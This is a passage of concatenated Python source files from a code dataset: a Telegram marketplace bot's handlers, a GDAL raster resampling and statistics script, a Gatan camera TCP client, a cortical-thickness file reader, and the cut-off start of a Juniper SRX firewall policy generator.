sme:\n context.user_data[\"sme_name\"] = sme['data']['name']\n context.user_data['sme_cat'] = sme['data']['category']\n context.user_data['sme_id'] = sme['ref'].id()\n context.user_data['sme_link'] = sme['data']['business_link']\n button = [\n [\n InlineKeyboardButton(\n text=\"Add A New Product\",\n callback_data=chat_id\n )\n ],\n [\n InlineKeyboardButton(\n text=\"Get a business link\",\n callback_data=\"link\"\n )\n ]\n ]\n _markup = InlineKeyboardMarkup(\n button,\n one_time_keyboard=True\n )\n bot.send_message(\n chat_id=chat_id,\n text=f\"Welcome back {_user['data']['name']}!\",\n reply_markup=_markup\n )\n return ADD_PRODUCTS\n else:\n context.user_data[\"user-id\"] = _user[\"ref\"].id()\n context.user_data[\"user-name\"] = _user['data']['name']\n context.user_data['user-data'] = _user['data']\n button = [\n [\n InlineKeyboardButton(\n text=\"View vendors to buy from\",\n callback_data=\"customer\"\n )\n ],\n [\n InlineKeyboardButton(\n text=\"Search for a vendor by name\",\n callback_data=\"customer;search\"\n )\n ]\n\n ]\n bot.send_message(\n chat_id=chat_id,\n text=f\"Welcome back {_user['data']['name']}\",\n reply_markup=InlineKeyboardMarkup(button)\n )\n return CLASS_STATE\n except NotFound:\n bot.send_message(\n chat_id=chat_id,\n text= \"Hi fellow, Welcome to SMEbot ,\"\n \"Please tell me about yourself, \"\n \"provide your full name, email, and phone number, \"\n \"separated by comma each e.g: \"\n \"John Doe, JohnD@gmail.com, +234567897809\"\n )\n return CHOOSING\n\n\n# get data generic user data from user and store\ndef choose(update, context):\n bot = context.bot\n chat_id = update.message.chat.id\n # create new data entry\n data = update.message.text.split(',')\n if len(data) < 3 or len(data) > 3:\n bot.send_message(\n chat_id=chat_id,\n text=\"Invalid entry, please make sure to input the details \"\n \"as requested in the instructions\"\n )\n bot.send_message(\n chat_id=chat_id,\n text=\"Type /start, to restart bot\"\n )\n return ConversationHandler.END\n new_user = client.query(\n q.create(q.collection('User'), {\n \"data\":{\n \"name\":data[0],\n \"email\":data[1],\n \"telephone\":data[2],\n \"is_smeowner\":False,\n \"preference\": \"\",\n \"chat_id\":chat_id\n }\n })\n )\n context.user_data[\"user-id\"] = new_user[\"ref\"].id()\n context.user_data[\"user-name\"] = data[0]\n context.user_data['user-data'] = new_user['data']\n bot.send_message(\n chat_id=chat_id,\n text=\"Collected information succesfully!..🎉🎉 \\n\"\n \"Which of the following do you identify as ?\",\n reply_markup=markup\n )\n # print(data[1].replace(\" \",\"\"))\n # print(emailcheck(data[1].replace(\" \",\"\")))\n if emailcheck(data[1].replace(\" \",\"\")):\n dispatch_mail(data[1].replace(\" \",\"\"))\n return CLASS_STATE\n\n\ndef classer(update, context):\n bot = context.bot\n chat_id = update.callback_query.message.chat.id\n name = context.user_data[\"user-name\"]\n if update.callback_query.data.lower() == \"sme\":\n # update user as smeowner\n client.query(\n q.update(\n q.ref(q.collection(\"User\"), context.user_data[\"user-id\"]),\n {\"data\": {\"is_smeowner\":True}}\n )\n )\n bot.send_message(\n chat_id=chat_id,\n text=f\"Great! {name}, please tell me about your business, \"\n \"provide your BrandName, Brand email, Address, and phone number\"\n \"in that order, each separated by comma(,) each e.g: \"\n \"JDWears, JDWears@gmail.com, 101-Mike Avenue-Ikeja, +234567897809\",\n reply_markup=ReplyKeyboardRemove()\n )\n\n return SME_DETAILS\n categories = [ \n [\n InlineKeyboardButton(\n text=\"Clothing/Fashion\",\n callback_data=\"Clothing/Fashion\"\n ),\n InlineKeyboardButton(\n text=\"Hardware Accessories\",\n callback_data=\"Hardware Accessories\"\n )\n ],\n [\n InlineKeyboardButton(\n text=\"Food/Kitchen Ware\",\n callback_data=\"Food/Kitchen Ware\"\n ),\n InlineKeyboardButton(\n text=\"ArtnDesign\",\n callback_data=\"ArtnDesign\"\n )\n ]\n ]\n if 'search' in update.callback_query.data.lower():\n bot.send_message(\n chat_id=chat_id,\n text=\"Please enter the name of the business you're looking for\"\n )\n return SEARCH\n bot.send_message(\n chat_id=chat_id,\n text=\"Here's a list of categories available\"\n \"Choose one that matches your interest\",\n reply_markup=InlineKeyboardMarkup(categories)\n )\n return CHOOSE_PREF\n\n\ndef search(update, context):\n bot = context.bot\n chat_id = update.message.chat.id\n data = update.message.text.lower()\n # search for business using index\n try:\n biz = client.query(\n q.get(\n q.match(\n q.index(\"business_by_name\"),\n data\n )\n )\n )\n print(biz)\n button = [\n [\n InlineKeyboardButton(\n text=\"View Products\",\n callback_data=biz[\"data\"][\"name\"]\n )\n ],\n [\n InlineKeyboardButton(\n text=\"Select for updates\",\n callback_data=\"pref\"+','+biz[\"data\"][\"name\"]\n )\n ]\n ]\n if \"latest\" in biz['data'].keys():\n thumbnail = client.query(q.get(q.ref(q.collection(\"Product\"), biz[\"data\"][\"latest\"])))\n print(thumbnail)\n bot.send_photo(\n chat_id=chat_id,\n photo=thumbnail[\"data\"][\"image\"],\n caption=f\"{biz['data']['name']}\",\n reply_markup=InlineKeyboardMarkup(button)\n )\n else:\n bot.send_message(\n chat_id=chat_id,\n text=f\"{biz['data']['name']}\",\n reply_markup=InlineKeyboardMarkup(button)\n )\n return SHOW_STOCKS\n except NotFound:\n button = [\n [\n InlineKeyboardButton(\n text=\"View vendors to buy from\",\n callback_data=\"customer\"\n )\n ],\n [\n InlineKeyboardButton(\n text=\"Search for a vendor by name\",\n callback_data=\"customer;search\"\n )\n ]\n\n ]\n bot.send_message(\n chat_id=chat_id,\n text=\"Oops didn't find any vendor with that name\"\n \"check with your spelling to be sure its correct.\",\n reply_markup=InlineKeyboardMarkup(button)\n )\n return CLASS_STATE\n\n\ndef business_details(update, context):\n bot = context.bot\n chat_id = update.message.chat.id\n data = update.message.text.split(',')\n if len(data) < 4 or len(data) > 4:\n bot.send_message(\n chat_id=chat_id,\n text=\"Invalid entry, please make sure to input the details \"\n \"as requested in the instructions\"\n )\n return SME_DETAILS\n context.user_data[\"sme_dets\"] = data\n # categories = [\n # ['Clothing/Fashion', 'Hardware Accessories'],\n # ['Food/Kitchen Ware', 'ArtnDesign'],\n # ['Other']\n # ]\n categories = [ \n [\n InlineKeyboardButton(\n text=\"Clothing/Fashion\",\n callback_data=\"Clothing/Fashion\"\n ),\n InlineKeyboardButton(\n text=\"Hardware Accessories\",\n callback_data=\"Hardware Accessories\"\n )\n ],\n [\n InlineKeyboardButton(\n text=\"Food/Kitchen Ware\",\n callback_data=\"Food/Kitchen Ware\"\n ),\n InlineKeyboardButton(\n text=\"ArtnDesign\",\n callback_data=\"ArtnDesign\"\n )\n ]\n ]\n markup = InlineKeyboardMarkup(categories, one_time_keyboard=True)\n bot.send_message(\n chat_id=chat_id,\n text=\"Pick a category for your business from the options\",\n reply_markup=markup\n )\n return SME_CAT\n\ndef business_details_update(update, context):\n bot = context.bot\n chat_id = update.callback_query.message.chat.id\n choice = update.callback_query.data\n user_id = context.user_data['user-id']\n biz_link = generate_link(context.user_data[\"sme_dets\"][0])\n # create business\n new_sme = client.query(\n q.create(\n q.collection(\"Business\"),\n {\"data\":{\n \"name\":context.user_data[\"sme_dets\"][0].lower(),\n \"email\":context.user_data[\"sme_dets\"][1],\n \"address\":context.user_data[\"sme_dets\"][2],\n \"telephone\":context.user_data[\"sme_dets\"][3],\n \"category\":choice.lower(),\n \"business_link\":biz_link,\n \"chat_id\": chat_id\n }}\n )\n )\n context.user_data[\"sme_name\"] = context.user_data[\"sme_dets\"][0]\n context.user_data[\"sme_id\"] = new_sme[\"ref\"].id()\n context.user_data[\"sme_cat\"] = choice\n context.user_data[\"sme_link\"] = biz_link\n button = [[\n InlineKeyboardButton(\n text=\"Add a product\",\n callback_data=choice.lower()\n )\n ]]\n bot.send_message(\n chat_id=chat_id,\n text=\"Business account created successfully, \"\n \"let's add some products shall we!.\",\n reply_markup=InlineKeyboardMarkup(button)\n )\n return ADD_PRODUCTS\n\ndef add_product(update, context):\n bot = context.bot\n chat_id = update.callback_query.message.chat.id\n if \"link\" in update.callback_query.data:\n bot.send_message(\n chat_id=chat_id,\n text=context.user_data['sme_link']\n )\n bot.send_message(\n chat_id=chat_id,\n text=\"Here you go!, share the link with people so they can see your store.\"\n )\n return ConversationHandler.END\n bot.send_message(\n chat_id=chat_id,\n text=\"Add the Name, Description, and Price of product, \"\n \"separated by commas(,) as caption to the product's image\"\n )\n return ADD_PRODUCTS\n\ndef product_info(update: Update, context: CallbackContext):\n data = update.message\n bot = context.bot\n photo = bot.getFile(update.message.photo[-1].file_id)\n file_ = open('product_image', 'wb')\n photo.download(out=file_)\n data = update.message.caption.split(',')\n # upload image to cloudinary\n send_photo = upload('product_image', width=200, height=150, crop='thumb')\n # create new product\n newprod = client.query(\n q.create(\n q.collection(\"Product\"),\n {\"data\": {\n \"name\":data[0],\n \"description\":data[1],\n \"price\":float(data[2]),\n \"image\":send_photo[\"secure_url\"],\n \"sme\":context.user_data[\"sme_name\"],\n \"sme_chat_id\": update.message.chat.id,\n \"category\":context.user_data[\"sme_cat\"]\n }\n }\n )\n )\n # add new product as latest\n client.query(\n q.update(\n q.ref(q.collection(\"Business\"), context.user_data[\"sme_id\"]),\n {\"data\": {\n \"latest\": newprod[\"ref\"].id()\n }}\n )\n )\n # context.user_data[\"product_data\"] = newprod['data']\n button = [[InlineKeyboardButton(\n text='Add another product',\n callback_data=context.user_data[\"sme_name\"]\n )]]\n update.message.reply_text(\n \"Added product successfully\",\n reply_markup=InlineKeyboardMarkup(button)\n )\n return ADD_PRODUCTS\n\n## CUSTOMER\ndef customer_pref(update, context):\n bot = context.bot\n chat_id = update.callback_query.message.chat.id\n data = update.callback_query.data\n print(data)\n # get all businesses in category\n try:\n smes_ = client.query(\n q.map_(\n lambda var: q.get(var),\n q.paginate(\n q.match(\n q.index(\"business_by_category\"),\n str(data).lower()\n )\n )\n )\n )\n print(smes_)\n for sme in smes_[\"data\"]:\n button = [\n [\n InlineKeyboardButton(\n text=\"View Products\",\n callback_data=sme[\"data\"][\"name\"]\n )\n ],\n [\n InlineKeyboardButton(\n text=\"Select for updates\",\n callback_data=\"pref\"+','+sme[\"data\"][\"name\"]\n )\n ]\n ]\n if \"latest\" in sme['data'].keys():\n thumbnail = client.query(q.get(q.ref(q.collection(\"Product\"), sme[\"data\"][\"latest\"])))\n print(thumbnail)\n bot.send_photo(\n chat_id=chat_id,\n photo=thumbnail[\"data\"][\"image\"],\n caption=f\"{sme['data']['name']}\",\n reply_markup=InlineKeyboardMarkup(button)\n )\n else:\n bot.send_message(\n chat_id=chat_id,\n text=f\"{sme['data']['name']}\",\n reply_markup=InlineKeyboardMarkup(button)\n )\n return SHOW_STOCKS\n except NotFound:\n button = [[\n InlineKeyboardButton(\n text=\"Select another Category?\",\n callback_data=\"customer\"\n )\n ]]\n bot.send_message(\n chat_id=chat_id,\n text=\"Nothing here yet\",\n reply_markup=InlineKeyboardMarkup(button)\n )\n return CLASS_STATE\n # return SHOW_STOCKS\n\ndef show_products(update, context):\n bot = context.bot\n chat_id = update.callback_query.message.chat.id\n data = update.callback_query.data\n if \"pref\" in data:\n data = data.split(',')[1]\n print(data)\n user = client.query(\n q.get(\n q.match(\n q.index('user_by_name'), \n context.user_data['user-data']['name']\n )\n )\n )\n # update preference\n client.query(\n q.update(\n q.ref(\n q.collection('User'), user['ref'].id()\n ),\n {'data': {'preference': user['data']['preference']+data+','}}\n )\n )\n button = [\n [\n InlineKeyboardButton(\n text=\"View more businesses category\",\n callback_data='customer'\n )\n ]\n ]\n bot.send_message(\n chat_id=chat_id,\n text=\"Updated preference successfully!!\"\n )\n return CLASS_STATE\n products = client.query(\n q.map_(\n lambda x: q.get(x),\n q.paginate(\n q.match(\n q.index(\"product_by_business\"),\n update.callback_query.data\n )\n )\n )\n )\n\n if len(products['data']) == 0:\n button = [\n [\n InlineKeyboardButton(\n text=\"View businesses to buy from\",\n callback_data=\"customer\"\n )\n ]\n ]\n bot.send_message(\n chat_id=chat_id,\n text=\"'Nothing here yet, user hasn't added any products!, check back later\",\n reply_markup=InlineKeyboardMarkup(button)\n )\n return CLASS_STATE\n for product in products[\"data\"]:\n context.user_data[\"sme_id\"] = product['data']['sme']\n button = [\n [\n InlineKeyboardButton(\n text=\"Send Order\",\n callback_data=\"order;\" + product[\"ref\"].id()\n )\n ],\n [\n InlineKeyboardButton(\n text=\"Contact business owner\",\n callback_data=\"contact;\" + product[\"data\"][\"sme\"]\n )\n ]\n ]\n bot.send_photo(\n chat_id=chat_id,\n photo=product[\"data\"][\"image\"],\n caption=f\"{product['data']['name']} \\nDescription: {product['data']['description']}\\nPrice:{product['data']['price']}\",\n reply_markup=InlineKeyboardMarkup(button)\n )\n return POST_VIEW_PRODUCTS\n\n\ndef post_view_products(update, context):\n bot = context.bot\n chat_id = update.callback_query.message.chat.id\n data = update.callback_query.data\n if \"order\" in data:\n product = client.query(\n q.get(\n q.ref(\n q.collection(\"Product\"),\n data.split(';')[1]\n )\n )\n )[\"data\"]\n bot.send_message(\n chat_id=product['sme_chat_id'],\n text=\"Hey you have a new order\"\n )\n bot.send_photo(\n chat_id=product['sme_chat_id'],\n caption=f\"Name: {product['name']}\\n\\nDescription: {product['description']}\\n\\nPrice: {product['price']}\"\n f\"\\n\\n Customer's Name: {context.user_data['user-name']}\",\n photo=product['image']\n ) \n bot.send_contact(\n chat_id=product['sme_chat_id'],\n phone_number=context.user_data['user-data']['telephone'],\n first_name=context.user_data['user-data']['name']\n )\n bot.send_message(\n chat_id=chat_id,\n text=\"Placed order successfully\"\n )\n elif 'contact' in data:\n sme_ = client.query(\n q.get( \n q.match(\n q.index(\"business_by_name\"), \n data.split(';')[1]\n )\n )\n )['data']\n bot.send_message(\n chat_id=chat_id,\n text=f\"Name: {sme_['name']}\\n\\nTelephone: {sme_['telephone']}\\n\\nEmail:{sme_['email']}\"\n )\n\n# def update_preference(update, context):\n# bot = context.bot\n# chat_id = update.callback_query.message.chat.id\n# data = update.callback_query.data\n # if \"pref\" in data:\n # data = data.split(',')[0].replace(' ', '')\n # print(data)\n # user = client.query(\n # q.update(\n # q.ref(\n # q.match(q.index('user_by_name'), context.user_data['user-data']['name']),\n\n # )\n # )\n # )\n # # update preference\n # client.query(\n # q.update(\n # q.ref(\n # q.collection('User'), user['ref'].id(),\n # ),\n # {'data': {'preference': user['data']['preference']+data+','}}\n # )\n # )\n # button = [\n # [\n # InlineKeyboardButton(\n # text=\"Vieew more businesses category\",\n # callback_data='customer'\n # )\n # ]\n # ]\n # bot.send_message(\n # chat_id=chat_id,\n # text=\"Updated preference successfully!!\"\n # )\n # return CLASS_STATE\n\n# Control\ndef cancel(update: Update, context: CallbackContext) -> int: \n update.message.reply_text(\n 'Bye! I hope we can talk again some day.',\n reply_markup=ReplyKeyboardRemove()\n )\n\n return ConversationHandler.END\n\n\ndef search_(update, context):\n bot = context.bot\n chat_id = update.message.chat.id\n bot.send_message(\n chat_id=chat_id,\n text=\"Please enter the name of the business you're looking for\"\n )\n return SEARCH\n","sub_path":"handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":23549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"209551154","text":"#!/usr/bin/env python\n\nimport rasterio \nimport matplotlib.pyplot as plt\nfrom rasterio.plot import show_hist, show\nfrom matplotlib import pyplot\nimport numpy\nimport os\nimport sys\nimport glob\nimport csv\nimport pandas as pd\nimport argparse\n\n'''\nPurpose: \nCreate overviews using different resampling methods and export the thumbnails / histograms / statistics of each image\n \nExample of command:\nC:/Users/Owner/COOP4/PortableGit/nrcan-datacube/all_Python_scripts/module03_resample.py C:/Users/Owner/COOP4/PortableGit/nrcan-datacube/all_Python_scripts/test1/dem-source_22.tif 64 \n'''\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('source_dem', metavar='source_dem', type=str, help='source_dem path')\n parser.add_argument('factor', metavar='factor', type=int, help='dec factor')\n args = parser.parse_args()\n source_dem = args.source_dem\n factor = args.factor\n\n dem = source_dem.split('/')[-1]\n path = source_dem.replace(dem,'')\n output_path = path + '{}_{}.tif' \n\n # Resample the source image using different resampling methods\n resample_list = ['nearest','average','bilinear','gauss','cubic','cubicspline','average_magphase','mode']\n dec_factor = str(factor)\n\n for resample in resample_list:\n print(\"gdaladdo -r \"+ resample +\" -ro \" + source_dem + \" --config COMPRESS_OVERVIEW LZW \" + dec_factor)\n os.system(\"gdaladdo -r \"+ resample +\" -ro \" + source_dem + \" --config COMPRESS_OVERVIEW LZW \" + dec_factor)\n ovr = '.ovr'\n ovr_path = r'{}{}'.format(source_dem,ovr) \n new_path = output_path.format(resample,dec_factor)\n os.rename(ovr_path,new_path)\n # Pass the information / metadata from the source image to the overviews\n cog = rasterio.open(source_dem)\n sample_cog = cog.read(1)\n dec = factor\n \n for i in resample_list:\n path = output_path.format(i,str(factor))\n arr = rasterio.open(path)\n dtype = arr.dtypes[0]\n array = arr.read(1)\n arr.close()\n \n with rasterio.open(\n path,\n 'w+',\n driver='GTiff',\n height=sample_cog.shape[0]//dec,\n width=sample_cog.shape[1]//dec,\n count=1,\n dtype=dtype,\n crs=cog.crs,\n transform=cog.transform,\n nodata=cog.nodata,\n GEOREF_SOURCES='INTERNAL') as dst:\n dst.write(array, 1)\n dst.close()\n cog.close()\n \n \n # Read each resampled image an then:\n # extract the information\n # create a thumbnail and histogram\n for filename in glob.glob(os.path.join(path, '*.tif')):\n with open(os.path.join(os.getcwd(), filename), 'r') as f: # open in readonly mode\n cog_sample = rasterio.open(filename)\n cur_name = os.path.basename(filename)[:-4]\n \n bound = str(cog_sample.bounds)\n crs = str(cog_sample.crs)\n dtype = str(cog_sample.dtypes[0])\n trans = str(cog_sample.transform)\n nodata = str(cog_sample.nodata)\n shape = str(cog_sample.shape)\n meta = str(cog_sample.meta)\n output = \"{}_info\".format(cur_name)\n f = open(output+'.txt',\"w\")\n f.write(\"stats: \" + \"\\n\" + \n \"bound: \" + bound + \"\\n\" + \n \"crs: \" + crs + \"\\n\" + \n \"dtype: \" + dtype + \n \"transform: \" + trans + \n \"nodata: \" + nodata + \n \"shape: \" + shape + \n \"metadata: \" + meta)\n \n fig, (aximage, axhist) = pyplot.subplots(1, 2, figsize=(49,28))\n figtitle=\"{} sample cog and histogram\".format(cur_name)\n fig.suptitle(figtitle,fontsize=30)\n #create histogram using rasterio show histogram, pass axes subplot handle to axhist\n bins=50\n show_hist(cog_sample, bins=bins, lw=0.0, \n stacked=False, alpha=0.3,\n histtype='stepfilled',\n ax=axhist)\n axhist.set_title('')\n axhist.set_xlabel('elevation (m)')\n axhist.set_ylabel('')\n axhist.legend('')\n #create display image passing axes subplot handle to aximage\n show(cog_sample, cmap='gray',transform=cog_sample.transform, ax=aximage)\n #save the figure\n fname=path+cur_name+'.png'\n pyplot.savefig(fname,format='png')\n\n fields = ['Name', 'Resampling_Method', 'Overview', 'Driver', 'Data Type', \n 'crs', 'Width', 'Height', 'Nodata_Pixels', 'Pixels_with_Values',\n 'Pixel_Size', 'Min', 'Max', 'Range', 'Q1', 'Q3', 'Mean', 'Median', \n 'Std', 'Var']\n rows = [fields]\n for filename in glob.glob(os.path.join(path, '*.tif')):\n with open(os.path.join(os.getcwd(), filename), 'r') as f: # open in readonly mode\n cog = rasterio.open(filename)\n cur_name = os.path.basename(filename).split('_')[0]\n resampling = os.path.basename(filename)[:-7]\n overview = 32\n\n # delete nodata value\n cog_ar = cog.read(1)\n cog_ar = numpy.where(cog_ar==cog.nodata,numpy.nan,cog_ar)\n \n # stats\n driver = str(cog.meta['driver'])\n dtype = str(cog.meta['dtype'])\n crs = str(cog.meta['crs'])\n width = cog.meta['width']\n height = cog.meta['height']\n nodata = len(cog_ar[numpy.isnan(cog_ar)])\n data_with_values = len(cog_ar[~numpy.isnan(cog_ar)])\n pixel_size = cog.transform[0]\n \n cog_min = numpy.nanmin(cog_ar)\n cog_max = numpy.nanmax(cog_ar)\n cog_range = cog_max-cog_min\n cog_q1 = numpy.nanquantile(cog_ar, 0.25)\n cog_q3 = numpy.nanquantile(cog_ar, 0.75)\n cog_mean = numpy.nanmean(cog_ar)\n cog_median = numpy.nanmedian(cog_ar)\n cog_std = numpy.nanstd(cog_ar)\n cog_var = numpy.nanvar(cog_ar)\n \n cur_row = [cur_name,\n resampling,\n overview,\n driver,\n dtype,\n crs,\n width,\n height,\n nodata,\n data_with_values,\n pixel_size,\n cog_min,\n cog_max,\n cog_range,\n cog_q1,\n cog_q3,\n cog_mean,\n cog_median,\n cog_std,\n cog_var]\n \n rows.append(cur_row)\n # name of csv file\n opath = path+'stats_{}.csv'\n output = opath.format(cur_name)\n \n # writing to csv file \n with open(output, 'w',newline='') as csvfile: \n csvwriter = csv.writer(csvfile) \n csvwriter.writerow(fields) \n csvwriter.writerow(cur_row)\n \n # name of csv file\n output = \"{}/stats_all.csv\".format(path)\n\n # writing to csv file \n with open(output, 'w',newline='') as csvfile: \n csvwriter = csv.writer(csvfile) \n csvwriter.writerows(rows)\n\nif __name__ == \"__main__\":\n main()","sub_path":"Python_scripts/module03_resample_new.py","file_name":"module03_resample_new.py","file_ext":"py","file_size_in_byte":7324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"367675204","text":"\nfrom pathlib import Path\nfrom tempfile import gettempdir\nfrom time import sleep\n\nimport numpy as np\n\nfrom . import InstrumentException, TCPBase\n\nTEMPDIR = Path(gettempdir())\nINT16INFO = np.iinfo(np.int16)\n\nclass GatanUltrascan895(TCPBase):\n \"\"\"\n Interface to the Gatan Ultrascan 895 camera server.\n\n The IP address is fixed to 127.0.0.1:42057.\n \"\"\"\n temp_image_fname = str(TEMPDIR / \"_uedinst_temp.dat\")\n\n def __init__(self, *args, **kwargs):\n try:\n super().__init__('127.0.0.1', 42057)\n except InstrumentException:\n raise InstrumentException('Could not connect to DigitalMicrograph. Make sure it is open.')\n \n def send_command(self, *commands, wait = 0):\n \"\"\"\n Send commands to the camera server. This method only returns\n once an answer has been received.\n \n Raises\n ------\n InstrumentException : if answer received indicates an error occurred.\n \"\"\"\n total_command = ''.join(commands)\n self.socket.send(total_command.encode('ascii'))\n if wait:\n sleep(wait)\n answer = self.socket.recv(10).decode('ascii')\n\n if answer == \"ERR\":\n raise InstrumentException('Command failed: {}.\\nAnswer received: {}'.format(total_command, answer))\n \n return answer\n\n def insert(self, toggle):\n \"\"\"\n Insert/uninsert into the beam.\n\n Parameters\n ----------\n toggle : bool\n If True, the camera will insert; otherwise, the camera will retract.\n\n Raises\n ------\n InstrumentException : if answer received indicates an error occurred.\n \"\"\"\n toggle = str(toggle).upper()\n self.send_command('ULTRASCAN;INSERT;', toggle)\n \n def acquire_image(self, exposure):\n \"\"\" \n Acquire an image from the detector.\n \n Parameters\n ----------\n exposure : float\n Exposure [seconds].\n \n Returns\n -------\n image : `~numpy.ndarray`, dtype int16\n Gain-normalized, dark-background subtracted image.\n\n Raises\n ------\n InstrumentException : if answer received indicates an error occurred.\n \"\"\"\n exposure = float(exposure)\n # Use a temporary file so that there can never be any conflits\n # between subsequent acquisitions.\n # Note: we cannot use NamedTemporaryFile because it doesn't create\n # a name, but a file-like object.\n self.send_command(\"ULTRASCAN;ACQUIRE;{:.3f},{}\".format(exposure, self.temp_image_fname), wait = exposure)\n\n # We save the images as raw format\n # because the 'translation' to TIFF was buggy\n # Therefore, better to get to the raw data and cast ourselves.\n with open(self.temp_image_fname, mode = 'rb') as datafile:\n arr = np.fromfile(datafile, dtype = np.int32).reshape((2048, 2048))\n \n # Gatan Ultrascan 895 can't actually detect higher than ~30 000 counts\n # Therefore, we can safely cast as int16 (after clipping)\n np.clip(arr, INT16INFO.min, INT16INFO.max, out = arr)\n return arr.astype(np.int16)\n","sub_path":"uedinst/gatan.py","file_name":"gatan.py","file_ext":"py","file_size_in_byte":3196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"463440217","text":"import pdb\nimport os\nimport sys\n\nclass ReadInVSFiles:\n def __init__(self,directoryPath, MAX_POINTS=100):\n print(\"Initializing...\")\n self.MAX_POINTS = MAX_POINTS\n self.directoryPath = directoryPath\n self.dictOfVSFiles = self.initializeDictOfVSFiles()\n self.dictOfPatientThickness = self.initializeDictOfPatientThickness()\n print(len(self.dictOfPatientThickness['1-1014_022201']['L']))\n #print(self.dictOfPatientThickness['1-1014_022201'])\n\n def initializeDictOfVSFiles(self):\n self.cwd = os.getcwd()\n listOfFiles = {}\n for patient in os.listdir(self.directoryPath):\n thicknessDir = self.directoryPath + '/' + patient + '/thickness/gm_thick.vs' \n if os.path.exists(thicknessDir):\n listOfFiles[patient] = thicknessDir\n return listOfFiles\n\n def initializeDictOfPatientThickness(self):\n dictOfPatientThickness = {}\n for patient,thicknessFile in self.dictOfVSFiles.iteritems():\n reader = open(thicknessFile,'r')\n listPoints = []\n counter = 0\n for line in reader:\n if counter >= self.MAX_POINTS:\n break\n counter += 1\n thicknessValue = float(line)\n listPoints.append(thicknessValue)\n\n patientN = patient[0:len(patient)-2]\n side = patient[-1]\n if not patientN in dictOfPatientThickness:\n dictOfPatientThickness[patientN] = {}\n dictOfPatientThickness[patientN][side] = listPoints\n return dictOfPatientThickness\n\n def getListOfVSFiles(self):\n return self.listOfVSFiles\n\n def getDictOfPatientThickness(self):\n return self.dictOfPatientThickness\n\nif __name__==\"__main__\":\n reader = ReadInVSFiles(sys.argv[1],int(sys.argv[2]))\n \n","sub_path":"thicknessstatsandvisualization/ReadInVSFiles.py","file_name":"ReadInVSFiles.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"114242579","text":"#!/usr/bin/python\n#\n# Copyright 2011 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\"\"\"SRX generator.\"\"\"\n# pylint: disable-msg=W0231\n\n__author__ = 'robankeny@google.com (Robert Ankeny)'\n\nimport datetime\nimport logging\n\nimport aclgenerator\nimport nacaddr\n\n\nclass Error(Exception):\n \"\"\"generic error class.\"\"\"\n\n\nclass UnsupportedFilterError(Error):\n pass\n\n\nclass UnsupportedHeader(Error):\n pass\n\n\nclass SRXDuplicateTermError(Error):\n pass\n\n\nclass SRXVerbatimError(Error):\n pass\n\n\nclass SRXOptionError(Error):\n pass\n\n\nclass Term(aclgenerator.Term):\n \"\"\"Representation of an individual SRX term.\n\n This is mostly useful for the __str__() method.\n\n Args:\n obj: a policy.Term object\n term_type: type of filter to generate, e.g. inet or inet6\n filter_options: list of remaining target options (zones)\n \"\"\"\n\n _ACTIONS = {'accept': 'permit',\n 'deny': 'deny',\n 'reject': 'reject',\n 'count': 'count',\n 'log': 'log'}\n\n def __init__(self, term, term_type, zones):\n self.term = term\n self.term_type = term_type\n self.from_zone = zones[1]\n self.to_zone = zones[3]\n self.extra_actions = []\n\n def __str__(self):\n \"\"\"Render config output from this term object.\"\"\"\n # Verify platform specific terms. Skip whole term if platform does not\n # match.\n if self.term.platform:\n if 'srx' not in self.term.platform:\n return ''\n if self.term.platform_exclude:\n if 'srx' in self.term.platform_exclude:\n return ''\n ret_str = []\n\n #COMMENTS\n comment_max_width = 68\n if self.term.owner:\n self.term.comment.append('Owner: %s' % self.term.owner)\n comments = aclgenerator.WrapWords(self.term.comment, comment_max_width)\n if comments and comments[0]:\n ret_str.append(JuniperSRX.INDENT * 3 + '/*')\n for line in comments:\n ret_str.append(JuniperSRX.INDENT * 3 + line)\n ret_str.append(JuniperSRX.INDENT * 3 + '*/')\n\n ret_str.append(JuniperSRX.INDENT * 3 + 'policy ' + self.term.name + ' {')\n ret_str.append(JuniperSRX.INDENT * 4 + 'match {')\n\n #SOURCE-ADDRESS\n if self.term.source_address:\n saddr_check = []\n for saddr in self.term.source_address:\n saddr_check.append(saddr.parent_token)\n saddr_check = set(saddr_check)\n source_address_string = ''\n for addr in saddr_check:\n source_address_string += addr + ' '\n ret_str.append(JuniperSRX.INDENT * 5 + 'source-address [ ' +\n source_address_string + '];')\n else:\n ret_str.append(JuniperSRX.INDENT * 5 + 'source-address any;')\n\n #DESTINATION-ADDRESS\n if self.term.destination_address:\n daddr_check = []\n for daddr in self.term.destination_address:\n daddr_check.append(daddr.parent_token)\n daddr_check = set(daddr_check)\n destination_address_string = ''\n for addr in daddr_check:\n destination_address_string += addr + ' '\n ret_str.append(JuniperSRX.INDENT * 5 + 'destination-address [ ' +\n destination_address_string + '];')\n else:\n ret_str.append(JuniperSRX.INDENT * 5 + 'destination-address any;')\n\n #APPLICATION\n if (not self.term.source_port and not self.term.destination_port and not\n self.term.icmp_type and not self.term.protocol):\n ret_str.append(JuniperSRX.INDENT * 5 + 'application any;')\n else:\n ret_str.append(JuniperSRX.INDENT * 5 + 'application ' + self.term.name +\n '-app;')\n\n ret_str.append(JuniperSRX.INDENT * 4 + '}')\n\n #ACTIONS\n for action in self.term.action:\n ret_str.append(JuniperSRX.INDENT * 4 + 'then {')\n ret_str.append(JuniperSRX.INDENT * 5 + self._ACTIONS.get(\n str(action)) + ';')\n\n #LOGGING\n if self.term.logging:\n ret_str.append(JuniperSRX.INDENT * 5 + 'log {')\n ret_str.append(JuniperSRX.INDENT * 6 + 'session-init;')\n ret_str.append(JuniperSRX.INDENT * 5 + '}')\n ret_str.append(JuniperSRX.INDENT * 4 + 